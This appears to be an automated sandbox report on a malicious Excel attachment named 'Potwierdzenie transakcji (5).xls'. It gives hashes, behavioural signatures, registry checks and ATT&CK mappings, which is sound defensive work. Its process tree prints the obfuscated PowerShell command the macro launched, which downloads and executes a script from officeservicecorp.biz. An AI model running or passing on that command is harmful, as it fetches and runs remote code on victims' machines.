2705cadf0dff4e6476415d0d51fafc2e121bdfde7e8649004bf1294a85f17a11

General

Target

Potwierdzenie transakcji (5).xls
Size

856KB
MD5

92d6e6b45a4275700d0f6f57e1b41609
SHA1

2d9aa61c33bdcc875e610edac331901ed59a5b44
SHA256

2705cadf0dff4e6476415d0d51fafc2e121bdfde7e8649004bf1294a85f17a11
SHA512

2d25de03fa17fdbaf4ec0370fbc339a98aca9dd2f203f6ff243c7f61d82108fcea9f61f42b025cf76bcacef86c252d45561b7c8a42d2e00521ca352c88b43158

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://officeservicecorp.biz/Lab.jpg

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3088	3068	powershell.exe	66

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3068 wrote to memory of 3088	3068	EXCEL.EXE	70
PID 3068 wrote to memory of 3088	3068	EXCEL.EXE	70

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3088	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3088	powershell.exe
3088	powershell.exe
3088	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
3068	EXCEL.EXE
3068	EXCEL.EXE
3068	EXCEL.EXE
3068	EXCEL.EXE
3068	EXCEL.EXE
3068	EXCEL.EXE
3068	EXCEL.EXE
3068	EXCEL.EXE
3068	EXCEL.EXE
3068	EXCEL.EXE
3068	EXCEL.EXE
3068	EXCEL.EXE
3068	EXCEL.EXE
3068	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3068	EXCEL.EXE

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Potwierdzenie transakcji (5).xls"
1⤵
- Suspicious use of WriteProcessMemory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:3068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://officeservicecorp.biz/Lab.jpg')
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious behavior: EnumeratesProcesses
  PID:3088

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads